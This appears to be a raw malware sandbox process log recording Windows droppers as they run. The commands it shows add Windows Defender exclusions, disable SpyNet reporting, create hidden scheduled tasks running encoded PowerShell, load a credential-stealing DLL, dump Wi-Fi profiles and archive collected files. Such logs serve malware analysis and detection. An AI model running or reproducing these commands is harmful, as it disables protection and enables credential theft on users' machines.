C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "grnRrCaJV" /SC once /ST 03:44:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "grnRrCaJV"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "grnRrCaJV"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 14:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\UfLryim.exe\" id /efsite_idHXV 385118 /S" /V1 /F7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\vI5vI6xa0yjoHzSjr9ZBYhKG.exe"C:\Users\Admin\Pictures\vI5vI6xa0yjoHzSjr9ZBYhKG.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS80D3.tmp\Install.exe.\Install.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS85C5.tmp\Install.exe.\Install.exe /YnGgdidyhQpz "385118" /S6⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "geWmPHXpY" /SC once /ST 12:09:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "geWmPHXpY"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "geWmPHXpY"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 14:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\lFyCGDh.exe\" id /cWsite_idfoX 385118 /S" /V1 /F7⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3928 -ip 39281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 1108 -ip 11081⤵
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3592 -ip 35921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2768 -ip 27681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3592 -ip 35921⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exeC:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exeC:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\1000087001\amadka.exe"C:\Users\Admin\AppData\Local\Temp\1000087001\amadka.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\1000100001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000100001\NewB.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\1000107001\redlinepanel.exe"C:\Users\Admin\AppData\Local\Temp\1000107001\redlinepanel.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\1000111001\goldprimeldlldf.exe"C:\Users\Admin\AppData\Local\Temp\1000111001\goldprimeldlldf.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1000113001\32456.exe"C:\Users\Admin\AppData\Local\Temp\1000113001\32456.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\1000118001\alex1234.exe"C:\Users\Admin\AppData\Local\Temp\1000118001\alex1234.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
C:\Users\Admin\AppData\Local\Temp\1000125001\un300un.exe"C:\Users\Admin\AppData\Local\Temp\1000125001\un300un.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000125001\un300un.exe" -Force3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"3⤵
-
C:\Users\Admin\Pictures\QBDC5CSl7yzZAcGhaXRORVsQ.exe"C:\Users\Admin\Pictures\QBDC5CSl7yzZAcGhaXRORVsQ.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\QBDC5CSl7yzZAcGhaXRORVsQ.exe"C:\Users\Admin\Pictures\QBDC5CSl7yzZAcGhaXRORVsQ.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\Pictures\ScddGmJ9ch0iM2ynb5ZtF3AA.exe"C:\Users\Admin\Pictures\ScddGmJ9ch0iM2ynb5ZtF3AA.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 5006⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 4166⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6216 -s 8645⤵
- Program crash
-
C:\Users\Admin\Pictures\NO8dIepkNvHNNZVQiFRl1fco.exe"C:\Users\Admin\Pictures\NO8dIepkNvHNNZVQiFRl1fco.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\NO8dIepkNvHNNZVQiFRl1fco.exe"C:\Users\Admin\Pictures\NO8dIepkNvHNNZVQiFRl1fco.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\Pictures\XqNfQVt2a1X3eqFENxwu8Skp.exe"C:\Users\Admin\Pictures\XqNfQVt2a1X3eqFENxwu8Skp.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\u4v0.0.exe"C:\Users\Admin\AppData\Local\Temp\u4v0.0.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 12806⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\u4v0.1.exe"C:\Users\Admin\AppData\Local\Temp\u4v0.1.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "6⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12517⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6300 -s 15325⤵
- Program crash
-
C:\Users\Admin\Pictures\y5DXIEMbSstv8oPXperm8Azm.exe"C:\Users\Admin\Pictures\y5DXIEMbSstv8oPXperm8Azm.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6328 -s 11245⤵
- Program crash
-
C:\Users\Admin\Pictures\qj3HYN2oFbb6pnc5FvEwaME7.exe"C:\Users\Admin\Pictures\qj3HYN2oFbb6pnc5FvEwaME7.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\qj3HYN2oFbb6pnc5FvEwaME7.exe"C:\Users\Admin\Pictures\qj3HYN2oFbb6pnc5FvEwaME7.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\Pictures\Y2gKg1nKtlDrLZ8E4BoGCFx7.exe"C:\Users\Admin\Pictures\Y2gKg1nKtlDrLZ8E4BoGCFx7.exe"4⤵
-
C:\Users\Admin\Pictures\DAyFh9tPYDxGm7l4zgRX92Ns.exe"C:\Users\Admin\Pictures\DAyFh9tPYDxGm7l4zgRX92Ns.exe" --silent --allusers=04⤵
-
C:\Users\Admin\Pictures\DAyFh9tPYDxGm7l4zgRX92Ns.exeC:\Users\Admin\Pictures\DAyFh9tPYDxGm7l4zgRX92Ns.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.33 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6911e1a8,0x6911e1b4,0x6911e1c05⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\DAyFh9tPYDxGm7l4zgRX92Ns.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\DAyFh9tPYDxGm7l4zgRX92Ns.exe" --version5⤵
-
C:\Users\Admin\Pictures\vLh8L17myrLi5tUaH3z37FXf.exe"C:\Users\Admin\Pictures\vLh8L17myrLi5tUaH3z37FXf.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS140B.tmp\Install.exe.\Install.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS1B6E.tmp\Install.exe.\Install.exe /YnGgdidyhQpz "385118" /S6⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gEChxAqCU" /SC once /ST 05:52:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gEChxAqCU"7⤵
-
C:\Users\Admin\Pictures\43vtOXXX9gxOepGHkkVLHoKv.exe"C:\Users\Admin\Pictures\43vtOXXX9gxOepGHkkVLHoKv.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS17B4.tmp\Install.exe.\Install.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS1EC9.tmp\Install.exe.\Install.exe /YnGgdidyhQpz "385118" /S6⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "grLuGdTKF" /SC once /ST 07:48:21 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "grLuGdTKF"7⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"3⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main2⤵
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main3⤵
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\181651180316_Desktop.zip' -CompressionLevel Optimal4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000128001\Eljlre.exe"C:\Users\Admin\AppData\Local\Temp\1000128001\Eljlre.exe"2⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main2⤵
-
C:\Users\Admin\AppData\Local\Temp\1001036001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1001036001\NewB.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 6216 -ip 62161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6832 -ip 68321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6832 -ip 68321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 536 -ip 5361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6300 -ip 63001⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 7040 -ip 70401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 6328 -ip 63281⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Users\Admin\AppData\Local\Temp\1001036001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1001036001\NewB.exe1⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Programs\Opera\assistant\assistant_installer.exe" --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera\assistant" --run-assistant --allusers=01⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\assistant\assistant_installer.exeC:\Users\Admin\AppData\Local\Programs\Opera\assistant\assistant_installer.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0xc50040,0xc5004c,0xc500582⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\assistant\browser_assistant.exe"C:\Users\Admin\AppData\Local\Programs\Opera\assistant\browser_assistant.exe"2⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --stream3⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\108.0.5067.40\opera_crashreporter.exeC:\Users\Admin\AppData\Local\Programs\Opera\108.0.5067.40\opera_crashreporter.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.40 --initial-client-data=0x300,0x304,0x308,0x2fc,0x30c,0x7ffb16238308,0x7ffb16238318,0x7ffb162383284⤵
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exeC:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe1⤵
-
